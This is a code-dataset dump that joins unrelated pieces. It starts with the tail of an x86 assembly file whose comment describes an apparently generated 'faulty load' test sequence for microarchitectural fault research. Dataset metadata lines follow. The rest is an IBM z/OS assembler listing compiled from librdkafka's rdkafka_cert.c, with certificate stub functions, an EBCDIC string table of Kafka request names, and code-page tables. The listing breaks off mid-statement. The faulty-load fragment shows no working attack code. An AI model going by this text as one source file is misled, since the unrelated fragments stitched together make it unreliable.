shlq $12, %r15 mov (%rax,%r15,1), %r15 pop %rsi pop %rcx pop %rbx pop %rax pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'39': 1214} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
36.508671
2,999
0.661336
60f911dbb75cc2d9adc9b449a6b0fc4364b0f7bd
37,814
asm
Assembly
asg/asm/rdkafka_cert.asm
asgkafka/librdkafka
d0a14ca313ed1efafb3924ff33fb6c4d474efe3c
[ "BSD-2-Clause-NetBSD", "Zlib", "BSD-2-Clause", "MIT", "BSD-3-Clause" ]
null
null
null
asg/asm/rdkafka_cert.asm
asgkafka/librdkafka
d0a14ca313ed1efafb3924ff33fb6c4d474efe3c
[ "BSD-2-Clause-NetBSD", "Zlib", "BSD-2-Clause", "MIT", "BSD-3-Clause" ]
null
null
null
asg/asm/rdkafka_cert.asm
asgkafka/librdkafka
d0a14ca313ed1efafb3924ff33fb6c4d474efe3c
[ "BSD-2-Clause-NetBSD", "Zlib", "BSD-2-Clause", "MIT", "BSD-3-Clause" ]
1
2021-05-05T11:49:00.000Z
2021-05-05T11:49:00.000Z
*PROCESS DUPALIAS * * Compiled by DCC Version 2.25.07 Mar 6 2021 08:51:07 * on Fri Apr 30 15:35:27 2021 * WXTRN @@ZARCH# * * * * Code Section * @CODE ALIAS X'7CD9C4D2C1C6D2C16DC3C5D9E3' @CODE CSECT @CODE AMODE ANY @CODE RMODE ANY @DATA ALIAS X'7C998492818692816D838599A3' snprintf ALIAS C'snprintf' EXTRN snprintf * * * * ....... start of rd_kafka_conf_set_ssl_cert rd_kafka_conf_set_ssl_cert ALIAS X'99846D92818692816D839695866DA285A36D* A2A2936D838599A3' @LNAME529 DS 0H DC X'0000001A' DC C'rd_kafka_conf_set_ssl_cert' DC X'00' rd_kafka_conf_set_ssl_cert DCCPRLG CINDEX=529,BASER=12,FRAME=192,ENTRY=* YES,ARCH=ZARCH,LNAMEADDR=@LNAME529 * ******* End of Prologue * * * *** * *** snprintf(errstr, errstr_size, "librdkafka not built wi\ * th OpenSSL support"); LG 15,40(0,1) ; errstr STG 15,168(0,13) LG 15,48(0,1) ; errstr_size STG 15,176(0,13) LG 15,@lit_529_0 STG 15,184(0,13) LA 1,168(0,13) LG 15,@lit_529_1 ; snprintf @@gen_label0 DS 0H BALR 14,15 @@gen_label1 DS 0H * *** * *** return RD_KAFKA_CONF_INVALID; LGHI 15,-1 ; -1 * *** # 502 "C:\asgkafka\librdkafka\src\rdkafka_cert.c" * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_529 DC F'192' @lit_529_1 DC AD(snprintf) @lit_529_0 DC AD(@strings@) DROP 12 * * DSECT for automatic variables in "rd_kafka_conf_set_ssl_cert" * (FUNCTION #529) * @AUTO#rd_kafka_conf_set_ssl_cert DSECT DS XL168 * @CODE CSECT * * * * ....... start of rd_kafka_conf_cert_dtor rd_kafka_conf_cert_dtor ALIAS X'99846D92818692816D839695866D838599A36D8* 4A39699' @LNAME1557 DS 0H DC X'00000017' DC C'rd_kafka_conf_cert_dtor' DC X'00' rd_kafka_conf_cert_dtor DCCPRLG CINDEX=1557,BASER=0,FRAME=168,SAVEAREA=* NO,ENTRY=YES,ARCH=ZARCH,LNAMEADDR=@LNAME1557 * ******* End of Prologue * * * *** # 526 "C:\asgkafka\librdkafka\src\rdkafka_cert.c" * *** } @ret_lab_1557 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "rd_kafka_conf_cert_dtor" * (FUNCTION #1557) * @AUTO#rd_kafka_conf_cert_dtor DSECT DS XL168 * @CODE CSECT * * * * ....... start of rd_kafka_conf_cert_copy rd_kafka_conf_cert_copy ALIAS X'99846D92818692816D839695866D838599A36D8* 39697A8' @LNAME1558 DS 0H DC X'00000017' DC C'rd_kafka_conf_cert_copy' DC X'00' rd_kafka_conf_cert_copy DCCPRLG CINDEX=1558,BASER=0,FRAME=168,SAVEAREA=* NO,ENTRY=YES,ARCH=ZARCH,LNAMEADDR=@LNAME1558 * ******* End of Prologue * * * *** # 553 "C:\asgkafka\librdkafka\src\rdkafka_cert.c" * *** } @ret_lab_1558 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "rd_kafka_conf_cert_copy" * (FUNCTION #1558) * @AUTO#rd_kafka_conf_cert_copy DSECT DS XL168 * @CODE CSECT @@STATIC ALIAS X'7C998492818692816D838599A350' @@STATIC DXD 219D * * Non-Re-Entrant Data Section * @DATA CSECT @DATA RMODE ANY @DATA AMODE ANY @@T48F DC X'99846D838193939683' rd.calloc DC 1X'00' @@T493 DC X'99846D948193939683' rd.malloc DC 1X'00' @@T498 DC X'99846D99858193939683' rd.realloc DC 2X'00' @@T49E DC X'99846DA2A39984A497' rd.strdup DC 1X'00' @@T4A3 DC X'99846DA2A3999584A497' rd.strndup DC 2X'00' @@T4AB DC X'99846D9985868395A36DA2A482F0' rd.refcnt.sub0 DC 4X'00' @@T65A DC 4X'00' DC X'0000001A000000000000002200000000' ................ DC X'00000024' .... @@T67D DC X'99846D92818692816D94A287986D8485' rd.kafka.msgq.de DC X'98' q DC 1X'00' @@T704 DC X'99846D92818692816D986D8485A2A399' rd.kafka.q.destr DC X'96A8F0' oy0 DC 1X'00' @@T785 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856D8485A2A39996A8F0' e.destroy0 DC 2X'00' @@T78D DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856D8485936DA296A4998385' e.del.source DC 2X'00' @@T794 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856D8485936DA296A49983856D9985A3' e.del.source.ret DC X'A49995' urn DC 1X'00' @@T79C DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856DA3998987878599' e.trigger DC 1X'00' @@T7A0 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856D8485A2A39996A8' e.destroy DC 1X'00' @@T7A5 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc DC X'856D8489A281829385' e.disable DC 1X'00' @@T7C5 DC X'99846DA394978182A4866D8193939683' rd.tmpabuf.alloc DC X'F0' 0 DC 1X'00' @@T7F9 DC X'99846D92818692816D82A4866DA49784' rd.kafka.buf.upd DC X'81A385' ate DC 1X'00' @@T81A DC X'99846D92818692816D82A4866D868995' rd.kafka.buf.fin DC X'819389A9856D81999981A88395A3' alize.arraycnt DC 2X'00' @@T857 DC X'99846D92818692816D82A4866D839983' rd.kafka.buf.crc DC X'6D899589A3' .init DC 1X'00' @@TA27 DC X'99846D92818692816D83A499996D94A2' rd.kafka.curr.ms DC X'87A26DA2A482' gs.sub DC 1X'00' @strings@ DS 0H DC X'93898299849281869281409596A34082' librdkafka.not.b DC X'A48993A340A689A38840D6978595E2E2' uilt.with.OpenSS DC X'D340A2A497979699A300D7999684A483' L.support.Produc DC X'8500C685A3838800D68686A285A30000' e.Fetch.Offset.. DC X'D485A3818481A3810000D38581848599' Metadata..Leader DC X'C19584C9A2990000E2A39697D9859793' AndIsr..StopRepl DC X'89838100E4978481A385D485A3818481' ica.UpdateMetada DC X'A3810000C39695A3999693938584E288' ta..ControlledSh DC X'A4A38496A6950000D68686A285A3C396' utdown..OffsetCo DC X'949489A30000D68686A285A3C685A383' mmit..OffsetFetc DC X'8800C6899584C396969984899581A396' h.FindCoordinato DC X'9900D1968995C79996A49700C8858199' r.JoinGroup.Hear DC X'A3828581A300D38581A585C79996A497' tbeat.LeaveGroup DC X'0000E2A89583C79996A49700C485A283' ..SyncGroup.Desc DC X'99898285C79996A497A20000D389A2A3' ribeGroups..List DC X'C79996A497A20000E281A293C8819584' Groups..SaslHand DC X'A28881928500C19789E58599A2899695' shake.ApiVersion DC X'0000C3998581A385E396978983A20000' ..CreateTopics.. DC X'C4859385A385E396978983A20000C485' DeleteTopics..De DC X'9385A385D98583969984A200C99589A3' leteRecords.Init DC X'D7999684A4838599C9840000D68686A2' ProducerId..Offs DC X'85A3C69699D38581848599C597968388' etForLeaderEpoch DC X'0000C18484D78199A389A3899695A2E3' ..AddPartitionsT DC X'96E3A7950000C18484D68686A285A3A2' oTxn..AddOffsets DC X'E396E3A79500C59584E3A7950000E699' ToTxn.EndTxn..Wr DC X'89A385E3A795D48199928599A200E3A7' iteTxnMarkers.Tx DC X'95D68686A285A3C396949489A300C485' nOffsetCommit.De DC X'A28399898285C18393A20000C3998581' scribeAcls..Crea DC X'A385C18393A20000C4859385A385C183' teAcls..DeleteAc DC X'93A20000C485A28399898285C3969586' ls..DescribeConf DC X'8987A200C193A38599C39695868987A2' igs.AlterConfigs DC X'0000C193A38599D9859793898381D396' ..AlterReplicaLo DC X'87C48999A200C485A28399898285D396' gDirs.DescribeLo DC X'87C48999A200E281A293C1A4A3888595' gDirs.SaslAuthen DC X'A3898381A3850000C3998581A385D781' ticate..CreatePa DC X'99A389A3899695A20000C3998581A385' rtitions..Create DC X'C48593858781A3899695E39692859500' DelegationToken. DC X'D9859585A6C48593858781A3899695E3' RenewDelegationT DC X'969285950000C5A797899985C4859385' oken..ExpireDele DC X'8781A3899695E39692859500C485A283' gationToken.Desc DC X'99898285C48593858781A3899695E396' ribeDelegationTo DC X'92859500C4859385A385C79996A497A2' ken.DeleteGroups DC X'0000C5938583A3D38581848599A2D985' ..ElectLeadersRe DC X'98A485A2A300C995839985948595A381' quest.Incrementa DC X'93C193A38599C39695868987A2D98598' lAlterConfigsReq DC X'A485A2A30000C193A38599D78199A389' uest..AlterParti DC X'A3899695D98581A2A2898795948595A3' tionReassignment DC X'A2D98598A485A2A30000D389A2A3D781' sRequest..ListPa DC X'99A389A3899695D98581A2A289879594' rtitionReassignm DC X'8595A3A2D98598A485A2A300D68686A2' entsRequest.Offs DC X'85A3C4859385A385D98598A485A2A300' etDeleteRequest. DC X'C485A28399898285C393898595A3D8A4' DescribeClientQu DC X'96A381A2D98598A485A2A300C193A385' otasRequest.Alte DC X'99C393898595A3D8A496A381A2D98598' rClientQuotasReq DC X'A485A2A30000C485A28399898285E4A2' uest..DescribeUs DC X'8599E283998194C39985848595A38981' erScramCredentia DC X'93A2D98598A485A2A300C193A38599E4' lsRequest.AlterU DC X'A28599E283998194C39985848595A389' serScramCredenti DC X'8193A2D98598A485A2A30000E596A385' alsRequest..Vote DC X'D98598A485A2A300C285878995D8A496' Request.BeginQuo DC X'99A494C597968388D98598A485A2A300' rumEpochRequest. DC X'C59584D8A49699A494C597968388D985' EndQuorumEpochRe DC X'98A485A2A300C485A28399898285D8A4' quest.DescribeQu DC X'9699A494D98598A485A2A300C193A385' orumRequest.Alte DC X'99C9A299D98598A485A2A300E4978481' rIsrRequest.Upda DC X'A385C68581A3A49985A2D98598A485A2' teFeaturesReques DC X'A300C595A58593969785D98598A485A2' t.EnvelopeReques DC X'A30095969585000087A989970000A295' t.none..gzip..sn DC X'819797A8000093A9F400A9A2A3840000' appy..lz4.zstd.. DC X'899588859989A300839695868987A499' inherit.configur DC X'8584000093858199958584008995A385' ed..learned.inte DC X'9995819300009396878983819300C995' rnal..logical.In DC X'89A30000E3859994899581A38500C681' it..Terminate.Fa DC X'A38193C5999996990000D98598A485A2' talError..Reques DC X'A3D7C9C40000E68189A3E3998195A297' tPID..WaitTransp DC X'9699A300E68189A3D7C9C400C1A2A289' ort.WaitPID.Assi DC X'879585840000C499818995D985A285A3' gned..DrainReset DC X'0000C499818995C2A4949700D9858184' ..DrainBump.Read DC X'A8D596A3C18392858400D9858184A800' yNotAcked.Ready. DC X'C995E3998195A28183A389969500C285' InTransaction.Be DC X'878995C396949489A300C396949489A3' ginCommit.Commit DC X'A3899587E3998195A28183A389969500' tingTransaction. DC X'C396949489A3D596A3C1839285840000' CommitNotAcked.. DC X'C1829699A3899587E3998195A28183A3' AbortingTransact DC X'89969500C1829699A38584D596A3C183' ion.AbortedNotAc DC X'92858400C1829699A381829385C59999' ked.AbortableErr DC X'96990000' or.. * * * Re-entrant Data Initialization Section * @@INIT@ ALIAS C'rdkafka_cert:' @@INIT@ CSECT @@INIT@ AMODE ANY @@INIT@ RMODE ANY DC XL1'5' DC AL3(0) DC AL4(288) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000001' DC X'00000000' DC X'000000FF' DC X'0102039C09867F978D8E0B0C0D0E0F10' .....f.p........ DC X'1112139D8508871819928F1C1D1E1F80' ....e.g..k...... DC X'818283840A171B88898A8B8C05060790' abcd...hi....... DC X'9116939495960498999A9B14159E1A20' j.lmno.qr....... DC X'A0E2E4E0E1E3E5E7F1A22E3C282B7C26' .SU..TVX1s...... DC X'E9EAEBE8EDEEEFECDF21242A293B5E2D' Z..Y............ DC X'2FC2C4C0C1C3C5C7D1A62C255F3E3FF8' .BD.ACEGJw.....8 DC X'C9CACBC8CDCECFCC603A2340273D22D8' I..H...........Q DC X'616263646566676869ABBBF0FDFEB1B0' ...........0.... DC X'6A6B6C6D6E6F707172AABAE6B8C6A4B5' ...........W.Fu. DC X'7E737475767778797AA1BFD05BDEAEAC' ................ DC X'A3A5B7A9A7B6BCBDBEDDA8AF5DB4D77B' tv.zx.....y...P. DC X'414243444546474849ADF4F6F2F3F57D' ..........46235. DC X'4A4B4C4D4E4F505152B9FBFCF9FAFF5C' ............9... DC X'F7535455565758595AB2D4D6D2D3D530' 7.........MOKLN. DC X'313233343536373839B3DBDCD9DA9F40' ............R... * DC XL1'5' DC AL3(0) DC AL4(480) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000101' DC X'00000000' DC X'000000A0' DC X'010203372D2E2F1605150B0C0D0E0F10' ................ DC X'1112133C3D322618193F271C1D1E1F40' ................ DC X'5A7F7B5B6C507D4D5D5C4E6B604B61F0' ...............0 DC X'F1F2F3F4F5F6F7F8F97A5E4C7E6E6F7C' 123456789....... DC X'C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7' ABCDEFGHIJKLMNOP DC X'D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D79' QRSTUVWXYZ...... DC X'81828384858687888991929394959697' abcdefghijklmnop DC X'9899A2A3A4A5A6A7A8A9C04FD0A10720' qrstuvwxyz...... DC X'2122232425061728292A2B2C090A1B30' ................ DC X'311A333435360838393A3B04143EFF80' ................ * DC XL1'5' DC AL3(0) DC AL4(520) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000001C0' DC X'00000000' DC X'00000001' DC X'8A40404040404040' ........ * DC XL1'5' DC AL3(0) DC AL4(560) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000001E0' DC X'00000000' DC X'00000001' DC X'8B40404040404040' ........ * DC XL1'D' DC AL3(0) DC AL4(600) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000220' DC ADL8(@DATA) DC X'00000000' DC X'000001D0' * DC XL1'D' DC AL3(0) DC AL4(640) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000228' DC ADL8(@DATA) DC X'00000000' DC X'000001D8' * DC XL1'D' DC AL3(0) DC AL4(680) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000230' DC ADL8(@DATA) DC X'00000000' DC X'000001DE' * DC XL1'D' DC AL3(0) DC AL4(720) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000238' DC ADL8(@DATA) DC X'00000000' DC X'000001E6' * DC XL1'D' DC AL3(0) DC AL4(760) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000240' DC ADL8(@DATA) DC X'00000000' DC X'000001F0' * DC XL1'D' DC AL3(0) DC AL4(800) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000248' DC ADL8(@DATA) DC X'00000000' DC X'000001FE' * DC XL1'D' DC AL3(0) DC AL4(840) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000250' DC ADL8(@DATA) DC X'00000000' DC X'0000020A' * DC XL1'D' DC AL3(0) DC AL4(880) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000258' DC ADL8(@DATA) DC X'00000000' DC X'0000021A' * DC XL1'D' DC AL3(0) DC AL4(920) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000260' DC ADL8(@DATA) DC X'00000000' DC X'0000022E' * DC XL1'D' DC AL3(0) DC AL4(960) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000268' DC ADL8(@DATA) DC X'00000000' DC X'0000023C' * DC XL1'D' DC AL3(0) DC AL4(1000) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000270' DC ADL8(@DATA) DC X'00000000' DC X'00000248' * DC XL1'D' DC AL3(0) DC AL4(1040) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000278' DC ADL8(@DATA) DC X'00000000' DC X'00000258' * DC XL1'D' DC AL3(0) DC AL4(1080) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000280' DC ADL8(@DATA) DC X'00000000' DC X'00000262' * DC XL1'D' DC AL3(0) DC AL4(1120) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000288' DC ADL8(@DATA) DC X'00000000' DC X'0000026C' * DC XL1'D' DC AL3(0) DC AL4(1160) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000290' DC ADL8(@DATA) DC X'00000000' DC X'00000278' * DC XL1'D' DC AL3(0) DC AL4(1200) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000298' DC ADL8(@DATA) DC X'00000000' DC X'00000282' * DC XL1'D' DC AL3(0) DC AL4(1240) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002A0' DC ADL8(@DATA) DC X'00000000' DC X'00000292' * DC XL1'D' DC AL3(0) DC AL4(1280) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002A8' DC ADL8(@DATA) DC X'00000000' DC X'0000029E' * DC XL1'D' DC AL3(0) DC AL4(1320) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002B0' DC ADL8(@DATA) DC X'00000000' DC X'000002AC' * DC XL1'D' DC AL3(0) DC AL4(1360) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002B8' DC ADL8(@DATA) DC X'00000000' DC X'000002B8' * DC XL1'D' DC AL3(0) DC AL4(1400) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002C0' DC ADL8(@DATA) DC X'00000000' DC X'000002C6' * DC XL1'D' DC AL3(0) DC AL4(1440) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002C8' DC ADL8(@DATA) DC X'00000000' DC X'000002D4' * DC XL1'D' DC AL3(0) DC AL4(1480) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002D0' DC ADL8(@DATA) DC X'00000000' DC X'000002E2' * DC XL1'D' DC AL3(0) DC AL4(1520) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002D8' DC ADL8(@DATA) DC X'00000000' DC X'000002F2' * DC XL1'D' DC AL3(0) DC AL4(1560) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002E0' DC ADL8(@DATA) DC X'00000000' DC X'00000308' * DC XL1'D' DC AL3(0) DC AL4(1600) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002E8' DC ADL8(@DATA) DC X'00000000' DC X'0000031C' * DC XL1'D' DC AL3(0) DC AL4(1640) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002F0' DC ADL8(@DATA) DC X'00000000' DC X'0000032C' * DC XL1'D' DC AL3(0) DC AL4(1680) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000002F8' DC ADL8(@DATA) DC X'00000000' DC X'00000334' * DC XL1'D' DC AL3(0) DC AL4(1720) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000300' DC ADL8(@DATA) DC X'00000000' DC X'00000344' * DC XL1'D' DC AL3(0) DC AL4(1760) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000308' DC ADL8(@DATA) DC X'00000000' DC X'00000354' * DC XL1'D' DC AL3(0) DC AL4(1800) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000310' DC ADL8(@DATA) DC X'00000000' DC X'00000362' * DC XL1'D' DC AL3(0) DC AL4(1840) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000318' DC ADL8(@DATA) DC X'00000000' DC X'0000036E' * DC XL1'D' DC AL3(0) DC AL4(1880) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000320' DC ADL8(@DATA) DC X'00000000' DC X'0000037A' * DC XL1'D' DC AL3(0) DC AL4(1920) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000328' DC ADL8(@DATA) DC X'00000000' DC X'0000038A' * DC XL1'D' DC AL3(0) DC AL4(1960) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000330' DC ADL8(@DATA) DC X'00000000' DC X'00000398' * DC XL1'D' DC AL3(0) DC AL4(2000) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000338' DC ADL8(@DATA) DC X'00000000' DC X'000003AC' * DC XL1'D' DC AL3(0) DC AL4(2040) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000340' DC ADL8(@DATA) DC X'00000000' DC X'000003BC' * DC XL1'D' DC AL3(0) DC AL4(2080) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000348' DC ADL8(@DATA) DC X'00000000' DC X'000003CE' * DC XL1'D' DC AL3(0) DC AL4(2120) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000350' DC ADL8(@DATA) DC X'00000000' DC X'000003E0' * DC XL1'D' DC AL3(0) DC AL4(2160) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000358' DC ADL8(@DATA) DC X'00000000' DC X'000003F6' * DC XL1'D' DC AL3(0) DC AL4(2200) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000360' DC ADL8(@DATA) DC X'00000000' DC X'0000040C' * DC XL1'D' DC AL3(0) DC AL4(2240) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000368' DC ADL8(@DATA) DC X'00000000' DC X'00000422' * DC XL1'D' DC AL3(0) DC AL4(2280) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000370' DC ADL8(@DATA) DC X'00000000' DC X'0000043A' * DC XL1'D' DC AL3(0) DC AL4(2320) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000378' DC ADL8(@DATA) DC X'00000000' DC X'00000448' * DC XL1'D' DC AL3(0) DC AL4(2360) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000380' DC ADL8(@DATA) DC X'00000000' DC X'0000045C' * DC XL1'D' DC AL3(0) DC AL4(2400) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000388' DC ADL8(@DATA) DC X'00000000' DC X'0000047C' * DC XL1'D' DC AL3(0) DC AL4(2440) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000390' DC ADL8(@DATA) DC X'00000000' DC X'000004A0' * DC XL1'D' DC AL3(0) DC AL4(2480) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000398' DC ADL8(@DATA) DC X'00000000' DC X'000004C2' * DC XL1'D' DC AL3(0) DC AL4(2520) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003A0' DC ADL8(@DATA) DC X'00000000' DC X'000004D6' * DC XL1'D' DC AL3(0) DC AL4(2560) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003A8' DC ADL8(@DATA) DC X'00000000' DC X'000004F2' * DC XL1'D' DC AL3(0) DC AL4(2600) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003B0' DC ADL8(@DATA) DC X'00000000' DC X'0000050C' * DC XL1'D' DC AL3(0) DC AL4(2640) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003B8' DC ADL8(@DATA) DC X'00000000' DC X'00000530' * DC XL1'D' DC 